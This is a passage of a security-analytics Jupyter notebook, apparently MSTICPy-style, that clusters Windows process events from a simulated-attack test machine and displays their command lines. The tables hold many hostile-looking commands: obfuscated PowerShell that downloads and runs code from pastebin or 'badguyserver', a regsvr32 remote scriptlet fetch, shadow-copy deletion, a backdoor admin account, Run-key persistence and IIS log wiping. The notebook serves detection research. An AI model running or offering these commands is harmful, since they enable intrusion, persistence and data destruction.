1902019-01-15 05:15:18.2872019-01-15 05:15:18.967C:\\Diagnostics\\UserTmp\\lsass.exe.\\lsass.exe /C \"c:\\windows\\softwaredistribution\\cscript.exe\"2143183False
1492019-01-15 05:15:15.5202019-01-15 05:15:15.923C:\\Windows\\System32\\net.exenet group \"Domain Admins\" /domain282589False
1042019-01-15 05:15:12.9772019-01-15 05:15:19.583C:\\Diagnostics\\UserTmp\\powershell.exe.\\powershell -command {(n`EW-obJ`E`cT N`et`.W`eb`C`li`en`t).DownloadFile('https://blah/png','go...2243726False
952019-01-15 05:15:10.8172019-01-15 05:15:14.453C:\\Windows\\System32\\svchost.exeC:\\Windows\\system32\\svchost.exe -k wsappx283040True
772019-01-15 05:15:03.2472019-01-15 05:15:11.260C:\\Windows\\System32\\cmd.execmd /c echo Any questions about the commands executed here then please contact one of2162570False
2702019-01-15 04:28:01.5172019-01-15 04:28:33.090C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler2174895True
2542019-01-15 04:42:25.4372019-01-15 05:12:25.403C:\\Windows\\System32\\MusNotification.exeC:\\Windows\\system32\\MusNotification.exe Display263826True
602019-01-15 05:15:15.8272019-01-15 05:15:16.720C:\\Diagnostics\\UserTmp\\cmd.exe.\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell Set-ExecutionPolicy RemoteSigned&echo [S]&cd&ec...3252941False
1422019-01-15 05:15:14.7702019-01-15 05:15:15.283C:\\Windows\\System32\\whoami.exewhoami302907False
1252019-01-15 05:15:12.1232019-01-15 05:15:17.650C:\\Diagnostics\\UserTmp\\cmd.execmd /c \"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\"3212941False
562019-01-15 05:15:16.1172019-01-15 05:15:18.403C:\\Diagnostics\\UserTmp\\reg.exe.\\reg.exe add \\hkcu\\software\\microsoft\\some\\key\\Run /v abadvalue3152951False
852019-01-15 05:15:03.8302019-01-15 05:15:19.447C:\\Windows\\System32\\net.exenet use q: \\\\MSTICAlertsWin1\\TestShare Bob_testing /User:adm1nistrator3122589False
492019-01-15 05:15:16.3532019-01-15 05:15:16.520C:\\Diagnostics\\UserTmp\\42424.exe42424.exe312889False
692019-01-15 05:15:03.3902019-01-15 05:15:17.137C:\\Windows\\System32\\vssadmin.exevssadmin delete shadows /all /quiet473131False
1932019-01-15 05:02:28.2602019-01-15 05:15:19.537C:\\Diagnostics\\UserTmp\\cmd.execmd /c \"powershell wscript.shell used to download a .gif\"5142941False
1692019-01-15 05:15:14.4932019-01-15 05:15:19.060C:\\Diagnostics\\UserTmp\\svchost.exec:\\Diagnostics\\UserTmp\\svchost.exe663411False
1222019-01-15 05:15:11.9472019-01-15 05:15:19.403C:\\Diagnostics\\UserTmp\\implant.exeimplant.exe k111733390False
682019-01-15 05:15:12.5132019-01-15 05:15:18.630C:\\Diagnostics\\UserTmp\\doubleextension.pdf.exec:\\Diagnostics\\UserTmp\\doubleextension.pdf.exe774617False
802019-01-15 05:15:03.4102019-01-15 05:15:18.670C:\\Windows\\System32\\net1.exeC:\\Windows\\system32\\net1 user adm1nistrator Bob_testing /add7102638False
672019-01-15 05:15:05.1932019-01-15 05:15:19.617C:\\Diagnostics\\UserTmp\\sdopfjiowtbkjfnbeioruj.exec:\\Diagnostics\\UserTmp\\sdopfjiowtbkjfnbeioruj.exe965005False
482019-01-15 05:15:10.6672019-01-15 05:15:18.917C:\\Diagnostics\\UserTmp\\rundll32.exe.\\rundll32 /C 42424.exe1573391False
472019-01-15 05:15:03.0572019-01-15 05:15:18.820C:\\Diagnostics\\UserTmp\\cmd.execmd /c \"systeminfo && systeminfo\"23102941False
962019-01-15 05:15:11.1902019-01-15 05:15:18.867C:\\Windows\\System32\\win32calc.exe\"C:\\Windows\\System32\\win32calc.exe\"2883100False
02019-01-15 04:16:24.0072019-01-15 05:24:24.010C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\De...\"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\D...355212225True
22019-01-15 04:16:25.5502019-01-15 05:24:25.807C:\\Windows\\SysWOW64\\wbem\\WmiPrvSE.exeC:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding38103478True
12019-01-15 04:16:24.0272019-01-15 05:24:24.023C:\\Windows\\System32\\conhost.exe\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV139103028True
32019-01-15 04:15:26.0002019-01-15 05:24:26.010C:\\Windows\\System32\\cscript.exe\"C:\\Windows\\system32\\cscript.exe\" /nologo \"MonitorKnowledgeDiscovery.vbs\"71133022True
\n", "
" ], "text/plain": [ " TimeGenerated LastEventTime \\\n", "46 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "356 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "301 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "256 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "219 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "198 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "195 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "176 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "171 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "163 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "162 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "139 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "134 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "133 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "130 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "110 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "292 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "106 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "57 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "59 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "61 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "64 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "65 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "74 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "62 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "78 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "82 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "83 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "86 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "87 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "94 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "75 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "108 2019-01-15 04:23:43.103 2019-01-15 05:15:20.623 \n", "63 2019-01-15 05:15:16.850 2019-01-15 05:15:17.580 \n", "211 2019-01-15 05:15:19.223 2019-01-15 05:15:19.337 \n", "190 2019-01-15 05:15:18.287 2019-01-15 05:15:18.967 \n", "149 2019-01-15 05:15:15.520 2019-01-15 05:15:15.923 \n", "104 2019-01-15 05:15:12.977 2019-01-15 05:15:19.583 \n", "95 2019-01-15 05:15:10.817 2019-01-15 05:15:14.453 \n", "77 2019-01-15 05:15:03.247 2019-01-15 05:15:11.260 \n", "270 2019-01-15 04:28:01.517 2019-01-15 04:28:33.090 \n", "254 2019-01-15 04:42:25.437 2019-01-15 05:12:25.403 \n", "60 2019-01-15 05:15:15.827 2019-01-15 05:15:16.720 \n", "142 2019-01-15 05:15:14.770 2019-01-15 05:15:15.283 \n", "125 2019-01-15 05:15:12.123 2019-01-15 05:15:17.650 \n", "56 2019-01-15 05:15:16.117 2019-01-15 05:15:18.403 \n", "85 2019-01-15 05:15:03.830 2019-01-15 05:15:19.447 \n", "49 2019-01-15 05:15:16.353 2019-01-15 05:15:16.520 \n", "69 2019-01-15 05:15:03.390 2019-01-15 05:15:17.137 \n", "193 2019-01-15 05:02:28.260 2019-01-15 05:15:19.537 \n", "169 2019-01-15 05:15:14.493 2019-01-15 05:15:19.060 \n", "122 2019-01-15 05:15:11.947 2019-01-15 05:15:19.403 \n", "68 2019-01-15 05:15:12.513 2019-01-15 05:15:18.630 \n", "80 2019-01-15 05:15:03.410 2019-01-15 05:15:18.670 \n", "67 2019-01-15 05:15:05.193 2019-01-15 05:15:19.617 \n", "48 2019-01-15 05:15:10.667 2019-01-15 05:15:18.917 \n", "47 2019-01-15 05:15:03.057 2019-01-15 05:15:18.820 \n", "96 2019-01-15 05:15:11.190 2019-01-15 05:15:18.867 \n", "0 2019-01-15 04:16:24.007 2019-01-15 05:24:24.010 \n", "2 2019-01-15 04:16:25.550 2019-01-15 05:24:25.807 \n", "1 2019-01-15 04:16:24.027 2019-01-15 05:24:24.023 \n", "3 2019-01-15 04:15:26.000 2019-01-15 05:24:26.010 \n", "\n", " NewProcessName \\\n", "46 C:\\Diagnostics\\UserTmp\\reg.exe \n", "356 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\222\\pmfexe.exe \n", "301 C:\\Windows\\System32\\cmd.exe \n", "256 C:\\WindowsAzure\\GuestAgent_2.7.41491.901_2019-01-14_202614\\CollectGuestLogs.exe \n", "219 C:\\Windows\\System32\\wermgr.exe \n", "198 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "195 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "176 C:\\Diagnostics\\UserTmp\\wuauclt.exe \n", "171 C:\\Windows\\System32\\svchost.exe \n", "163 C:\\Diagnostics\\UserTmp\\netsh.exe \n", "162 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "139 C:\\Diagnostics\\UserTmp\\powershell.exe \n", "134 C:\\Windows\\System32\\wbem\\WmiPrvSE.exe \n", "133 C:\\Windows\\System32\\sppsvc.exe \n", "130 C:\\Diagnostics\\UserTmp\\powershell.exe \n", "110 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "292 C:\\Windows\\System32\\taskhostw.exe \n", "106 C:\\Diagnostics\\UserTmp\\powershell.exe \n", "57 C:\\Diagnostics\\UserTmp\\tsetup.1.exe \n", "59 C:\\Diagnostics\\UserTmp\\netsh.exe \n", "61 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "64 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "65 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "74 C:\\Windows\\System32\\dllhost.exe \n", "62 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "78 C:\\Windows\\System32\\cmd.exe \n", "82 C:\\Windows\\System32\\net1.exe \n", "83 C:\\Windows\\System32\\Dism.exe \n", "86 C:\\Windows\\Temp\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\DismHost.exe \n", "87 C:\\Windows\\servicing\\TrustedInstaller.exe \n", "94 C:\\Diagnostics\\UserTmp\\regsvr32.exe \n", "75 C:\\Windows\\System32\\cmd.exe \n", "108 C:\\Diagnostics\\UserTmp\\powershell.exe \n", "63 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "211 C:\\Diagnostics\\UserTmp\\hd.exe \n", "190 C:\\Diagnostics\\UserTmp\\lsass.exe \n", "149 C:\\Windows\\System32\\net.exe \n", "104 C:\\Diagnostics\\UserTmp\\powershell.exe \n", "95 C:\\Windows\\System32\\svchost.exe \n", "77 C:\\Windows\\System32\\cmd.exe \n", "270 C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe \n", "254 C:\\Windows\\System32\\MusNotification.exe \n", "60 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "142 C:\\Windows\\System32\\whoami.exe \n", "125 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "56 C:\\Diagnostics\\UserTmp\\reg.exe \n", "85 C:\\Windows\\System32\\net.exe \n", "49 C:\\Diagnostics\\UserTmp\\42424.exe \n", "69 C:\\Windows\\System32\\vssadmin.exe \n", "193 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "169 C:\\Diagnostics\\UserTmp\\svchost.exe \n", "122 C:\\Diagnostics\\UserTmp\\implant.exe \n", "68 C:\\Diagnostics\\UserTmp\\doubleextension.pdf.exe \n", "80 C:\\Windows\\System32\\net1.exe \n", "67 C:\\Diagnostics\\UserTmp\\sdopfjiowtbkjfnbeioruj.exe \n", "48 C:\\Diagnostics\\UserTmp\\rundll32.exe \n", "47 C:\\Diagnostics\\UserTmp\\cmd.exe \n", "96 C:\\Windows\\System32\\win32calc.exe \n", "0 C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\De... \n", "2 C:\\Windows\\SysWOW64\\wbem\\WmiPrvSE.exe \n", "1 C:\\Windows\\System32\\conhost.exe \n", "3 C:\\Windows\\System32\\cscript.exe \n", "\n", " CommandLine \\\n", "46 .\\reg not /domain:everything that /sid:shines is /krbtgt:golden ! \n", "356 \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\Resources\\222\\pmfexe.exe... \n", "301 \"cmd\" \n", "256 \"CollectGuestLogs.exe\" -Mode:ga -FileName:C:\\WindowsAzure\\CollectGuestLogsTemp\\710dc858-9c96-4df... \n", "219 C:\\Windows\\system32\\wermgr.exe -upload \n", "198 cmd /c echo \" SYSTEMINFO && SYSTEMINFO && DEL \" \n", "195 cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&c:\\windows\\system32\\inetsrv\\appcmd set config \"Default Web S... \n", "176 .\\wuauclt.exe /C \"c:\\windows\\softwaredistribution\\cscript.exe\" \n", "171 c:\\Windows\\System32\\svchost.exe -k malicious \n", "163 .\\netsh advfirewall firewall add rule name=RbtGskQ action=allow program=c:\\users\\Bob\\appdata\\Ro... \n", "162 cmd /c C:\\Windows\\System32\\mshta.exe vbscript:CreateObject(\"Wscript.Shell\").Run(\".\\powershell.e... \n", "139 .\\powershell -command \"(New-Object Net.WebClient).DownloadString(('ht'+'tp://pasteb' + 'bin/'+'... \n", "134 C:\\Windows\\system32\\wbem\\wmiprvse.exe -Embedding \n", "133 C:\\Windows\\system32\\sppsvc.exe \n", "130 .\\powershell -Noninteractive -Noprofile -Command \"Invoke-Expression Get-Process; Invoke-WebRequ... \n", "110 cmd /c \".\\pOWErS^H^ElL^.eX^e^ -^ExEc^Ut^IoNpOliCy BYpa^sS i^mPOr^T-^M^oDuLE biTsTr^ANSFe^R;^S^t... \n", "292 taskhostw.exe SYSTEM \n", "106 .\\powershell.exe -c \"$a = 'Download'+'String'+\"(('ht'+'tp://paste'+ 'bin/'+'raw/'+'pqCwEm17'))\"... \n", "57 c:\\Diagnostics\\UserTmp\\tsetup.1.exe C:\\Users\\MSTICAdmin\\AppData\\Local\\Temp\\2\\is-01DD7.tmp\\tsetu... \n", "59 .\\netsh.exe \"in (*.exe) do start # artificial commandline solely for purposes of triggering test\" \n", "61 .\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell Enable-WSManCredSSP =2013Role Server -force&ech... \n", "64 .\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&c:\\windows\\system32\\inetsrv\\appcmd set config \"Default Web... \n", "65 .\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&del C:\\inetpub\\logs\\logFiles\\W3SVC1\\*.log /q&echo [S]&cd&e... \n", "74 C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E} \n", "62 .\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell winrm set winrm/config/service/Auth @{Kerberos=... \n", "78 cmd /c echo timb@microsoft.com; romead@microsoft.com; ianhelle@microsoft.com; marcook@microsoft... \n", "82 C:\\Windows\\system32\\net1 share TestShare=c:\\testshare /Grant:Users,Read \n", "83 dism /online /enable-feature /featurename:File-Services /NoRestart \n", "86 C:\\Windows\\TEMP\\CC563BBE-DE32-44D3-8E35-F3FC78E72E40\\dismhost.exe {D57BA872-53C0-424D-80AE-E4911... \n", "87 C:\\Windows\\servicing\\TrustedInstaller.exe \n", "94 .\\regsvr32 /s /n /u /i:http://server/file.sct scrobj.dll \n", "75 cmd.exe /c c:\\Diagnostics\\WindowsSimulateDetections.bat c:\\Diagnostics\\UserTmp \n", "108 .\\powershell -c {IEX (New-Object Net.WebClient).DownloadString(('ht'+(\"{2}{0}{1}\"-f ':/','/past... \n", "63 .\\cmd /c \"cd /d \"C:\\ProgramData\"© \\\\[REDACTED]\\c$\\users\\[REDACTED]\\Documents\\\"Password Chan... \n", "211 hd.exe -pslist \n", "190 .\\lsass.exe /C \"c:\\windows\\softwaredistribution\\cscript.exe\" \n", "149 net group \"Domain Admins\" /domain \n", "104 .\\powershell -command {(n`EW-obJ`E`cT N`et`.W`eb`C`li`en`t).DownloadFile('https://blah/png','go... \n", "95 C:\\Windows\\system32\\svchost.exe -k wsappx \n", "77 cmd /c echo Any questions about the commands executed here then please contact one of \n", "270 \"C:\\Program Files (x86)\\Google\\Update\\GoogleUpdate.exe\" /ua /installsource scheduler \n", "254 C:\\Windows\\system32\\MusNotification.exe Display \n", "60 .\\cmd /c \"cd /d \"C:\\inetpub\\wwwroot\"&powershell Set-ExecutionPolicy RemoteSigned&echo [S]&cd&ec... \n", "142 whoami \n", "125 cmd /c \"echo Invoke-Expression Get-Process; Invoke-WebRequest -Uri http://badguyserver/pwnme\" \n", "56 .\\reg.exe add \\hkcu\\software\\microsoft\\some\\key\\Run /v abadvalue \n", "85 net use q: \\\\MSTICAlertsWin1\\TestShare Bob_testing /User:adm1nistrator \n", "49 42424.exe \n", "69 vssadmin delete shadows /all /quiet \n", "193 cmd /c \"powershell wscript.shell used to download a .gif\" \n", "169 c:\\Diagnostics\\UserTmp\\svchost.exe \n", "122 implant.exe k111 \n", "68 c:\\Diagnostics\\UserTmp\\doubleextension.pdf.exe \n", "80 C:\\Windows\\system32\\net1 user adm1nistrator Bob_testing /add \n", "67 c:\\Diagnostics\\UserTmp\\sdopfjiowtbkjfnbeioruj.exe \n", "48 .\\rundll32 /C 42424.exe \n", "47 cmd /c \"systeminfo && systeminfo\" \n", "96 \"C:\\Windows\\System32\\win32calc.exe\" \n", "0 \"C:\\Program Files\\Microsoft Monitoring Agent\\Agent\\Health Service State\\CT_602681692\\NativeDSC\\D... \n", "2 C:\\Windows\\sysWOW64\\wbem\\wmiprvse.exe -secured -Embedding \n", "1 \\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1 \n", "3 \"C:\\Windows\\system32\\cscript.exe\" /nologo \"MonitorKnowledgeDiscovery.vbs\" \n", "\n", " ClusterSize commandlineTokensFull pathScore isSystemSession \n", "46 1 16 2951 False \n", "356 1 27 9108 True \n", "301 1 2 2570 True \n", "256 1 18 6421 True \n", "219 1 7 2922 True \n", "198 1 17 2941 False \n", "195 1 39 2941 False \n", "176 1 14 3406 False \n", "171 1 9 3040 False \n", "163 1 18 3179 False \n", "162 1 56 2941 False \n", "139 1 36 3726 False \n", "134 1 8 3546 True \n", "133 1 5 2933 True \n", "130 1 25 3726 False \n", "110 1 46 2941 False \n", "292 1 2 3262 True \n", "106 1 68 3726 False \n", "57 1 40 3405 False \n", "59 1 22 3179 False \n", "61 1 28 2941 False \n", "64 1 41 2941 False \n", "65 1 32 2941 False \n", "74 1 12 3024 True \n", "62 1 31 2941 False \n", "78 1 21 2570 False \n", "82 1 13 2638 False \n", "83 1 11 2659 True \n", "86 1 15 4900 True \n", "87 1 5 4175 True \n", "94 1 20 3399 False \n", "75 1 12 2570 True \n", "108 1 53 3726 False \n", "63 2 29 2941 False \n", "211 2 4 2837 False \n", "190 2 14 3183 False \n", "149 2 8 2589 False \n", "104 2 24 3726 False \n", "95 2 8 3040 True \n", "77 2 16 2570 False \n", "270 2 17 4895 True \n", "254 2 6 3826 True \n", "60 3 25 2941 False \n", "142 3 0 2907 False \n", "125 3 21 2941 False \n", "56 3 15 2951 False \n", "85 3 12 2589 False \n", "49 3 1 2889 False \n", "69 4 7 3131 False \n", "193 5 14 2941 False \n", "169 6 6 3411 False \n", "122 7 3 3390 False \n", "68 7 7 4617 False \n", "80 7 10 2638 False \n", "67 9 6 5005 False \n", "48 15 7 3391 False \n", "47 23 10 2941 False \n", "96 28 8 3100 False \n", "0 35 52 12225 True \n", "2 38 10 3478 True \n", "1 39 10 3028 True \n", "3 71 13 3022 True " ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "display(\n", " clus_events.sort_values(\"ClusterSize\")[\n", " [\n", " \"TimeGenerated\",\n", " \"LastEventTime\",\n", " \"NewProcessName\",\n", " \"CommandLine\",\n", " \"ClusterSize\",\n", " \"commandlineTokensFull\",\n", " \"pathScore\",\n", " \"isSystemSession\",\n", " ]\n", " ]\n", ")\n", "\n" ] }, { "cell_type": "code", "execution_count": 6, "metadata": {}, "outputs": [ { "data": { "text/html": [ "
\n", "\n", "\n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", " \n", "
ClusterSizeprocessNameCommandLineClusterId
461reg.exe.\\reg not /domain:everything that /sid:shines is /krbtgt:golden !-1
563reg.exe.\\reg.exe add \\hkcu\\software\\microsoft\\some\\key\\Run /v abadvalue7
\n", "
" ], "text/plain": [ " ClusterSize processName \\\n", "46 1 reg.exe \n", "56 3 reg.exe \n", "\n", " CommandLine \\\n", "46 .\\reg not /domain:everything that /sid:shines is /krbtgt:golden ! \n", "56 .\\reg.exe add \\hkcu\\software\\microsoft\\some\\key\\Run /v abadvalue \n", "\n", " ClusterId \n", "46 -1 \n", "56 7 " ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "# Look at clusters for individual process names\n", "def view_cluster(exe_name):\n", " display(\n", " clus_events[[\"ClusterSize\", \"processName\", \"CommandLine\", \"ClusterId\"]][\n", " clus_events[\"processName\"] == exe_name\n", " ]\n", " )\n", "\n", "\n", "view_cluster(\"reg.exe\")\n", "\n" ] }, { "cell_type": "code", "execution_count": 7, "metadata": {}, "outputs": [ { "data": { "image/png": "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